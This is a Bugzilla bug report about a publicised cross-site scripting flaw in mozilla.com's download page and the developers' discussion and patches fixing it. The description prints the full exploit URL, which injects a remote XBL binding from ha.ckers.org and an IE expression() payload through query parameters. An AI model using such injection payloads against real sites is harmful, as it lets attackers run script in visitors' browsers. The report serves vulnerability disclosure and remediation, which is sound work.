357750 - mozilla.com XSS publicized on sla.ckers.org (download.html)

Status: RESOLVED FIXED

(www.mozilla.org :: General, defect)

Description

[Daniel Veditz [:dveditz]]

http://sla.ckers.org/forum/read.php?3,44,2090,page=21#msg-2090

Shows a link to mozilla.com which allows attacker script insertion. The Firefox version is through remotely-loaded XBL which makes complex scripts easy to include

http://www.mozilla.com/en-US/products/download.html?product=-%22%20style%3D%22-moz-binding:url('http://ha.ckers.org/xssmoz.xml%23xss')%3bxx:expression(alert('Get%20Opera'))%22%3E%3Cx%20&os=1&lang=1

Possibly no point in hiding this bug since that's a 21-page(!) forum thread and gotten lots of press, but the flag will at least ensure some attention.

Comment 1

[Daniel Veditz [:dveditz]]

First noticed in this blog post: http://jeremiahgrossman.blogspot.com/2006/10/place-your-bets-on-first-firefox-2.html

Comment 2

[Asa Dotzler [:asa]]

Who needs to see this? 

Comment 3

[Michael Morgan [:morgamic]]

We'll need to escape the GET vars to make sure they can't inject via the query args.  We could do some simple checking up at the top where product, os, lang are assigned.

Comment 4

[Reed Loden [:reed]]

justdave doesn't deal with the websites. I do. Assigning to me. We are following up on IRC. Expect fix shortly.

Comment 5

[Reed Loden [:reed]]

$ svn commit -m "Fix download page issue (bug 357750) a temp way and fix 404 page."
Sending        branches/firefox1.5/en-US/404.html
Sending        branches/firefox1.5/en-US/products/download.html
Transmitting file data ..
Committed revision 813.

mrz: Please sync www.mozilla.com ASAP.

Comment 6

[Justin Fitzhugh]

need approval from web team - dropping sev until this is ready to push.  

Comment 7

[Reed Loden [:reed]]

Attachment: From Jesse's thoughts - v1

This is what I committed from what Jesse thought out at first.

Comment 8

[Chris Beard]

can we get some form of testing or confirmation that all variants of downloads continue to work after this patch? (if this has not already been done.)

Comment 9

[Jesse Ruderman]

Looking at this more closely, I noticed that the product/os/lang variables are NOT used only as raw HTML and HTML attributes.  Instead, they're used as a link URL, which requires escape() to be correct in general:

  download_url += 'product=' + product + '&os=' + os + '&lang=' + lang;

But then a funny thing happens.  The code calls String.link, which LOOKS like it's a safe API for creating a link from a given anchor text and URL.  But if you pass it a URL that contains a quote, it does something else entirely!  (Bug 352437?  But Safari, IE, and Firefox all share this braindead behavior.)

  var link_text = 'link';
  msg += link_text.link(download_url) + '.';

Dolske and dveditz prefer "sanitizing" by rejecting any product name (or perhaps any URL parameter) that isn't alphanumeric.  That's easier to get right than calling the correct "escaping" function (escape, htmlEscape) at each point it's used, and a simpler fix than switching to an API (e.g. DOM2) that doesn't require you to escape.  I think they've convinced me that's the way to go.

Comment 10

[Jesse Ruderman]

If I were writing a bookmarklet and wanted correct behavior for all strings, I'd use escape() for the URL and htmlEscape (and NOT String.link, because I hope its behavior will change) for creating the link.  Or maybe I'd use DOM2 to avoid having to deal with escaping.

But this only needs to be useful for alphanumerics (right?) so I think dolske's approach makes sense here.

Comment 11

[Daniel Veditz [:dveditz]]

alphanums plus hyphen, hyphen is a key delimiter here.

unlike the patch here, I'd want to sanitize *before* parsing the query string. something like

   function parseGETVars()
   {
+      var url = new Object();
      var qs = location.search.substring(1);
+     if (qs.match(/[^-&=a-zA-Z0-9]/)
+        return url;
      var nv = qs.split('&');
-     var url = new Object();

Comment 12

[Michael Morgan [:morgamic]]

(In reply to comment #11)
> +     if (qs.match(/[^-&=a-zA-Z0-9]/)

This would cause all versions to fail on the '.':
2.0
1.5.0.8

This approach seems just fine to me w/ a fixed regexp -- we should probably just go this route unless there's a good reason not to.

So -- next time could we not commit the change before we've tested it or had anybody actually +r it?

Comment 13

[Michael Morgan [:morgamic]]

Attachment: v2, w/ regexp

The stuff Reed checked in (r813) worked just fine -- made a couple of adjustments after reading through jruderman's and dveditz's comments.  Tested it w/ the error console open on khan-vm.

The patch took out the html string substitutions since they appeared redundant to me on top of the regexp check.  See if that makes sense.

I also went in to the Bouncer dump and queried product names and the range of valid characters is correct, so cbeard -- the incoming links won't break outgoing bouncer links.

Can someone take a look (reed? jruderman? dveditz?) before we commit again?

Comment 14

[Michael Morgan [:morgamic]]

Attachment: bouncer names, fwiw.

This is the list of bouncer names, to see the chars.  The locales list pretty much fits the normal (\w{2}(-\w{2}(-mac)?)?) pattern, and would be accepted.

Comment 15

[Reed Loden [:reed]]

Attachment: Return false instead - v3

Return false instead...

Comment 16

[Michael Morgan [:morgamic]]

Comment on attachment 243313 [details] [diff] [review]
Return false instead - v3

W00t!!!!

Comment 17

[Reed Loden [:reed]]

Patch is checked-in... reassigning to server-ops@ for sync.

Comment 18

[Dave Miller [:justdave]]

U    en-US/products/download.html
U    en-US/404.html
Updated to revision 826.

Comment 19

[Yvan Boily [:ygjb][:yvan]]

Adding keywords to bugs for metrics, no action required.  Sorry about bugmail spam.